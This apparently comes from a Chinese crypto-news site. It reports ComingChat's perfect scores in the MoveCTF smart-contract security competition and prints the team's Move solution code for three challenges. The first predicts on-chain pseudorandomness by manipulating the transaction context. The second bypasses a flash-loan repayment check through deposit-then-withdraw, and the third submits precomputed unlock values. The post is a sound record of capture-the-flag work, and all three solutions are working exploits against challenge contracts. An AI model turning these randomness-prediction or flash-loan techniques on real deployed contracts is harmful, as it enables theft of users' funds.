
由 Sui 赞助,MoveBit 等主办的大型 Move 安全竞赛 MoveCTF 已经结束。ComingChat 团队的三名参赛选手皆答对了全部题目,均获得满分成绩!
查看竞赛分数排名:
https://movectf.movebit.xyz/scoreboard
以下为 ComingChat 团队提供的竞赛题目满分答案:
第一题:
/ SPDX-License-Identifier: Apache-2.0// Based on: https://github.com/starcoinorg/starcoin-framework-commons/blob/main/sources/PseudoRandom.move/// @title pseudorandom/// @notice A pseudo random module on-chain./// @dev Warning:/// The random mechanism in smart contracts is different from/// that in traditional programming languages. The value generated/// by random is predictable to Miners, so it can only be used in/// simple scenarios where Miners have no incentive to cheat. If/// large amounts of money are involved, DO NOT USE THIS MODULE to/// generate random numbers; try a more secure way.module 0x0::test {use std::hash;use std::vector;use sui::bcs;use sui::tx_context::TxContext;use game::hero::{Hero, level_up};use game::adventure::{slay_boar, slay_boar_king};use sui::object;use game::inventory::{get_flag, TreasuryBox};const ERR_HIGH_ARG_GREATER_THAN_LOW_ARG: u64 = 101;public fun vector_slice<T: copy>(vec: &vector<T>, start: u64, end: u64): vector<T> {let slice = vector::empty<T>();let i = start;while (i < end) {vector::push_back(&mut slice, *vector::borrow(vec, i));i = i + 1;};slice}public fun vector_to_u64(d: &vector<u8>): u64 {let i = 0;let m = 0;let len = vector::length(d);while (i < vector::length(d)) {m = (m << 8) + ((*vector::borrow(d, len - 1 - i)) as u64);i = i + 1;};m}public fun u64_to_vector(d: u64): vector<u8> {bcs::to_bytes(&d)}public fun seed(ctx: &mut TxContext, m: u64): vector<u8> {let ctx_bytes = bcs::to_bytes(ctx);let tx_hash = vector_slice(&ctx_bytes, 21, 21 + ((*vector::borrow(&ctx_bytes, 20)) as u64));let len = vector::length(&ctx_bytes);let created_vector = vector_slice(&ctx_bytes, len - 8, len);let created_num = vector_to_u64(&created_vector) + m;let created_vector = u64_to_vector(created_num);assert!(created_vector == u64_to_vector(created_num), 1);let data = vector::empty<u8>();vector::append(&mut data, vector_slice(&ctx_bytes, 0, len - 8));vector::append(&mut data, created_vector);let ctx_bytes = data;let info: vector<u8> = vector::empty<u8>();vector::append<u8>(&mut info, tx_hash);vector::append<u8>(&mut info, created_vector);let uid_bytes = vector_slice(&hash::sha3_256(info), 0, 20);let info: vector<u8> = vector::empty<u8>();vector::append<u8>(&mut info, ctx_bytes);vector::append<u8>(&mut info, uid_bytes);let hash: vector<u8> = hash::sha3_256(info);hash}fun bytes_to_u64(bytes: vector<u8>): u64 {let value = 0u64;let i = 0u64;while (i < 8) {value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8));i = i + 1;};return value}/// Generate a random u64fun rand_u64_with_seed(_seed: vector<u8>): u64 {bytes_to_u64(_seed)}/// Generate a random integer range in [low, high).fun rand_u64_range_with_seed(_seed: vector<u8>, low: u64, high: u64): u64 {assert!(high > low, ERR_HIGH_ARG_GREATER_THAN_LOW_ARG);let value = rand_u64_with_seed(_seed);(value % (high - low)) + low}/// Generate a random u64public fun rand_u64(ctx: &mut TxContext): u64 {rand_u64_with_seed(seed(ctx, 0))}/// Generate a random integer range in [low, high).public fun rand_u64_range(low: u64, high: u64, ctx: &mut TxContext): u64 {rand_u64_range_with_seed(seed(ctx, 0), low, high)}public entry fun win(hero: &mut Hero, ctx: &mut TxContext) {let i = 0;while (i < 125) {slay_boar(hero, ctx);i = i + 1;};level_up(hero);let next = next_zero_rand_u64_range(0, 100, ctx) - 4;while (next > 0) {object::delete(object::new(ctx));next = next - 1;};slay_boar_king(hero, ctx);}public fun next_zero_rand_u64_range(low: u64, high: u64, ctx: &mut TxContext): u64 {let next = 0;while (true) {let data = rand_u64_range_with_seed(seed(ctx, next), low, high);if ((data == 0) && (next >= 4)) {break};next = next + 1;};next}public entry fun win_flag(box: TreasuryBox, ctx: &mut TxContext) {let next = next_zero_rand_u64_range(0, 100, ctx);while (next > 0) {object::delete(object::new(ctx));next = next - 1;};get_flag(box, ctx);}}
第二题:
module 0x0::test {use sui::tx_context::TxContext;use movectf::flash::{loan, FlashLender, deposit, check, withdraw, get_flag};entry fun fight(self: &mut FlashLender,ctx: &mut TxContext) {let (coins, receipt) = loan(self, 1000, ctx);deposit(self, coins, ctx);check(self, receipt);withdraw(self, 1000, ctx);get_flag(self, ctx)}}
第三题:
module 0x0::test {use sui::tx_context::TxContext;use movectf::move_lock::{movectf_unlock, get_flag, ResourceObject};entry fun fight(r: &mut ResourceObject,ctx: &mut TxContext) {let data1 = vector<u64>[2, 14, 13,6, 17, 0,19, 20, 11,0, 19, 8,14, 13, 18,24, 14, 20,12, 0, 13,0, 6, 4,3, 19, 14,1, 17, 4,0, 10, 19,7, 4, 7,8, 11, 11,2, 8, 15,7, 4, 17,7, 0, 2,10, 19, 7,4, 7, 0,2, 10, 24,15, 11, 0,13, 4, 19];let data2 = vector<u64>[25, 11, 6, 10, 13, 25, 12, 19, 2];movectf_unlock(data1, data2, r, ctx);get_flag(r, ctx)}}

【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
